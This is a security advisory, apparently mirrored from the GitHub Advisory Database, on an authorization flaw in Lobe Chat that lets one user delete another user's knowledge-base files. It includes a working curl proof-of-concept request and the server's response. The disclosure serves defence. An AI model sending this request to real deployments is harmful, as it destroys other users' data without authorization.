Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion
Summary
knowledgeBase.removeFilesFromKnowledgeBase tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership.
Details
userId filter in the database query is commented out, so it's enabling attackers to delete other users' KB files if they know the knowledge base ID and file ID.
PoC
ATTACKER_TOKEN="xx"
VICTIM_KB="kb_tuLBfskdDN1r"
VICTIM_FILE="file_v5wCNLqSaoPp"
curl -X POST "https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1" -H "Content-Type: application/json" -b "__Secure-better-auth.session_token=$ATTACKER_TOKEN" -d '{"0":{"json":{"knowledgeBaseId":"'"$VICTIM_KB"'","ids":["'"$VICTIM_FILE"'"]}}}'
Response:
{"result":{"data":{"json":{"command":"DELETE","rowCount":1,"oid":null,"rows":[],"fields":[]}}}}
Impact
An attacker can delete files from any user's KB. RAG/AI functionality broken when files removed. It could cause loss of important documents, proprietary data etc.
While the vuln is confirmed, practical exploitation requires knowing target's KB ID and target's file ID. These IDs are random and not easily enumerable. However, IDs may leak through shared links, logs, referrer headers and so on. Missing authorization check is a critical security flaw regardless.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @lobehub/chat | <= 1.143.2 | no fix |
References
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N- Weakness (CWE)
CWE-284- Platform
- npm
- Package
@lobehub/chat- Disclosed
- 20.01.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-j7xp-4mg9-x28r - CC BY 4.0
Vulnerability history: @lobehub/chat
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 11
- First → latest
- 01.2024 02.2026
- Without a fix
- 2
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 1
- Medium 6
- Low 2
Disclosures per year
- 2024: 5
- 2025: 3
- 2026: 3
-
Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.